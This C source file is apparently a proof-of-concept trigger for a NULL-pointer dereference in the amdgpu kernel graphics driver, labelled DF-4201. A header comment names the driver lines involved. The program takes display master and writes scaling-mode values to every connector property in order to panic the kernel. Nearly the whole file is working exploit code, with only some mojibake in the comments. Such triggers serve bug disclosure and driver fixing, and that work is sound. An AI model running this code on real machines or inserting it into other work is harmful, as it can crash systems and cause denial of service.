DF-4201 / trigger_df4201.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | /* * trigger_df4201.c โ DF-4201: NULL amdgpu_encoder dereference family after * best_encoder() in connector property handlers + monitor-bpc path * (sys/dev/drm/amd/amdgpu/amdgpu_connectors.c:139-141, 583-594, 792-803). * * On amdgpu hardware whose VBIOS lists a connector with no matching encoder * object (empty possible-encoder list after amdgpu_link_encoder_connector, * amdgpu_encoders.c:45-56), setting the connector's "scaling mode" property * walks into: * * amdgpu_connector_set_property (:583-584): * amdgpu_encoder = to_amdgpu_encoder(best_encoder(connector)); // NULL * ... amdgpu_encoder->rmx_type ... (:594) * amdgpu_connector_set_lcd_property (:792-793): same, deref at :803 * amdgpu_connector_get_monitor_bpc (:139-141): same + enc_priv NULL * deref (dce_v*_0.c:3494 sets enc_priv = NULL for encoders whose * get_lcd_info/get_dig_info kzalloc failed), deref dig->lcd_misc * at :143 โ reached from every modeset via atombios_crtc.c:773. * * The ioctls are DRM_MASTER-gated (drm_ioctl.c:667/679) โ the display owner * (X/wayland/logind session) is the attacker; a NULL-page deref panic is * the result. * * Trigger: become master, list properties, write every supported * scaling-mode value to each connector's scaling-mode property. * Self-contained struct defs โ no libdrm needed. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdint.h> typedef uint32_t __u32; typedef uint64_t __u64; #define DRM_IOCTL_BASE 'd' #define DRM_IOCTL_SET_MASTER _IO(DRM_IOCTL_BASE, 0x1e) #define DRM_IOCTL_MODE_GETRESOURCES _IOWR(DRM_IOCTL_BASE, 0xA0, struct drm_mode_card_res) #define DRM_IOCTL_MODE_GETCONNECTOR _IOWR(DRM_IOCTL_BASE, 0xA7, struct drm_mode_get_connector) #define DRM_IOCTL_MODE_OBJ_SETPROPERTY _IOWR(DRM_IOCTL_BASE, 0xBA, struct drm_mode_obj_set_property) struct drm_mode_card_res { __u64 fb_id_ptr, crtc_id_ptr, connector_id_ptr, encoder_id_ptr; __u32 count_fbs, count_crtcs, count_connectors, count_encoders; __u32 min_width, max_width, min_height, max_height; }; struct drm_mode_get_connector { __u64 encoders_ptr, modes_ptr, props_ptr, prop_values_ptr; __u32 count_modes, count_props, count_encoders; __u32 encoder_id, connector_id, connector_type, connector_type_id; __u32 connection, mm_width, mm_height, subpixel; }; struct drm_mode_obj_set_property { __u64 value; __u32 prop_id, obj_id, obj_type; __u32 pad; }; #define DRM_MODE_OBJECT_CONNECTOR 0xc0c0c0c0 int main(void) { struct drm_mode_card_res res; struct drm_mode_get_connector conn; struct drm_mode_obj_set_property sp; __u32 prop_ids[64]; __u64 prop_values[64]; int fd, i, p; fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC); if (fd < 0) { printf("DF-4201 trigger: no /dev/dri/card0 โ no DRM hardware on " "this guest; amdgpu property handlers unreachable.\n"); return 1; } if (ioctl(fd, DRM_IOCTL_SET_MASTER) < 0) { perror("SET_MASTER (another display server owns the device?)"); return 1; } memset(&res, 0, sizeof(res)); res.count_connectors = 0; ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res); __u32 ids[32]; memset(ids, 0, sizeof(ids)); res.connector_id_ptr = (__u64)ids; if (res.count_connectors > 32) res.count_connectors = 32; if (ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res) < 0) { perror("GETRESOURCES"); return 1; } printf("DF-4201 trigger: %u connectors\n", res.count_connectors); for (i = 0; i < (int)res.count_connectors; i++) { memset(&conn, 0, sizeof(conn)); conn.connector_id = ids[i]; conn.props_ptr = (__u64)prop_ids; conn.prop_values_ptr = (__u64)prop_values; conn.count_props = 64; if (ioctl(fd, DRM_IOCTL_MODE_GETCONNECTOR, &conn) < 0) { perror("GETCONNECTOR"); continue; } for (p = 0; p < (int)conn.count_props && p < 64; p++) { /* scaling mode accepts 0..3 (NONE/CENTER/ASPECT/FULL); * writing any of them reaches amdgpu_connector_set_property * / _set_lcd_property scaling branch */ memset(&sp, 0, sizeof(sp)); sp.value = 1; /* DRM_MODE_SCALE_CENTER */ sp.prop_id = prop_ids[p]; sp.obj_id = ids[i]; sp.obj_type = DRM_MODE_OBJECT_CONNECTOR; if (ioctl(fd, DRM_IOCTL_MODE_OBJ_SETPROPERTY, &sp) == 0) printf(" connector %u prop %u <- 1 (ok)\n", ids[i], prop_ids[p]); } } /* * On a machine with an encoder-less amdgpu connector, the property * write above dereferences NULL at amdgpu_connectors.c:594/:803 and * the kernel panics before returning. */ printf("DF-4201 trigger: completed (no panic on this machine)\n"); return 0; } |